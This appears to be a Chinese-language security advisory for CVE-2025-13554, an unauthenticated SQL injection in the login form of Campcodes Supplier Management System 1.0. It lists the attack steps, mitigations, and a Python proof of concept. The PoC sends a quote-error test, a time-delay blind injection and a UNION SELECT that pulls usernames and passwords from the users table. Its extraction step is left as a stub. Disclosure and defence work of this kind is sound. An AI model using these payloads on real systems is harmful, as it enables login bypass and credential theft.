IPBUF安全漏洞报告
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CVE-2025-13554 CVSS 7.3 高危

CVE-2025-13554 Campcodes供应商管理系统1.0登录SQL注入漏洞

披露日期: 2025-11-23

漏洞信息

漏洞编号
CVE-2025-13554
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Campcodes Supplier Management System 1.0

相关标签

SQL注入Campcodes供应商管理系统CVE-2025-13554高危漏洞登录绕过未授权访问Web应用安全

漏洞概述

CVE-2025-13554是Campcodes Supplier Management System 1.0版本中的一个高危安全漏洞。该漏洞存在于系统的登录功能模块中,具体位于index.php文件的Login组件。攻击者可以通过构造恶意的txtUsername参数值来实现SQL注入攻击。由于该漏洞无需认证即可利用,远程攻击者可以通过互联网直接发起攻击,成功利用此漏洞可能导致敏感数据库信息泄露、用户凭据窃取,甚至可能进一步控制整个系统。该漏洞的CVSS评分为7.3,属于高危级别。漏洞已于2025年11月23日公开披露,相关信息和利用代码已在互联网公开,攻击者可能正在积极利用此漏洞。建议使用该系统的用户立即采取防护措施,避免遭受攻击。

技术细节

Campcodes Supplier Management System 1.0的登录功能存在SQL注入漏洞。漏洞点位于index.php文件的Login模块,具体是txtUsername参数。系统在处理用户登录时,直接将该参数的值拼接到SQL查询语句中,未进行充分的输入验证和参数化查询处理。攻击者可以通过在txtUsername字段中注入SQL语句来操纵数据库查询逻辑。典型的攻击Payload包括使用单引号(')触发SQL语法错误,或者使用UNION SELECT语句提取数据库中的敏感信息,如用户表中的用户名和密码哈希值。由于系统未对输入进行过滤,攻击者还可以通过盲注技术逐步推断数据库内容。该漏洞影响系统的机密性、完整性和可用性,CVSS向量显示三个安全属性均受到低至中等程度的影响。攻击者无需任何认证即可发起攻击,这大大增加了漏洞的严重性。

攻击链分析

STEP 1
步骤1
攻击者发现Campcodes Supplier Management System 1.0的登录页面(/index.php)
STEP 2
步骤2
攻击者在txtUsername参数中注入SQL Payload,如单引号(')测试SQL语法错误
STEP 3
步骤3
系统未对输入进行过滤,直接将用户输入拼接到SQL查询中,导致SQL注入漏洞
STEP 4
步骤4
攻击者利用UNION SELECT或盲注技术提取数据库中的用户凭据和其他敏感信息
STEP 5
步骤5
获取管理员账户后,攻击者可以登录系统后台,进一步控制整个应用系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13554 PoC - Campcodes Supplier Management System SQL Injection Vulnerable Parameter: txtUsername in /index.php Login Component CVSS Score: 7.3 (High) """ import requests import sys target_url = "http://target.com/index.php" def test_sql_injection(): """Test for SQL injection vulnerability in login form""" # Basic SQL injection test - single quote to trigger error payload_basic = "'" data = { "txtUsername": payload_basic, "txtPassword": "test", "btnLogin": "Login" } print(f"[*] Testing target: {target_url}") print(f"[*] Testing basic SQL injection payload...") try: response = requests.post(target_url, data=data, timeout=10) # Check for SQL error indicators sql_error_indicators = [ "mysql_", "sql syntax", "warning", "error in your sql", "unclosed quotation" ] response_text = response.text.lower() for indicator in sql_error_indicators: if indicator in response_text: print(f"[!] SQL Injection vulnerability confirmed!") print(f"[!] Error indicator found: {indicator}") return True print("[*] Basic test completed, trying blind injection...") # Blind SQL injection test (time-based) # MSSQL time-based blind injection payload_blind = "' WAITFOR DELAY '0:0:5'--" data_blind = { "txtUsername": payload_blind, "txtPassword": "test", "btnLogin": "Login" } import time start = time.time() response = requests.post(target_url, data=data_blind, timeout=15) elapsed = time.time() - start if elapsed >= 5: print(f"[!] Blind SQL Injection confirmed (response delayed by {elapsed:.2f}s)") return True print("[*] Vulnerability check completed") return False except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False def extract_data(): """Extract database information using UNION-based injection""" # UNION-based injection to extract user data payload = "' UNION SELECT NULL,NULL,username,password,NULL,NULL FROM users--" data = { "txtUsername": payload, "txtPassword": "test", "btnLogin": "Login" } print(f"[*] Attempting data extraction...") try: response = requests.post(target_url, data=data, timeout=10) # Parse response to extract credentials print(f"[*] Response length: {len(response.text)}") # Add extraction logic here except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-13554 SQL Injection PoC") print("Target: Campcodes Supplier Management System 1.0") print("=" * 60) if test_sql_injection(): print("\n[*] Vulnerability exists, proceeding with data extraction...") extract_data() else: print("\n[*] No obvious vulnerability detected")

影响范围

Campcodes Supplier Management System 1.0

防御指南

临时缓解措施
在厂商发布修复版本之前,可以采取以下临时缓解措施:1) 在Web应用防火墙中配置规则拦截包含SQL特殊字符(如单引号、双引号、分号等)的请求;2) 限制登录功能的访问频率,防止自动化攻击;3) 对登录尝试进行详细日志记录和监控,及时发现异常攻击行为;4) 考虑暂时禁用受影响的登录功能,使用替代方案进行系统访问;5) 加强数据库层面的安全控制,监控异常查询行为。

参考链接

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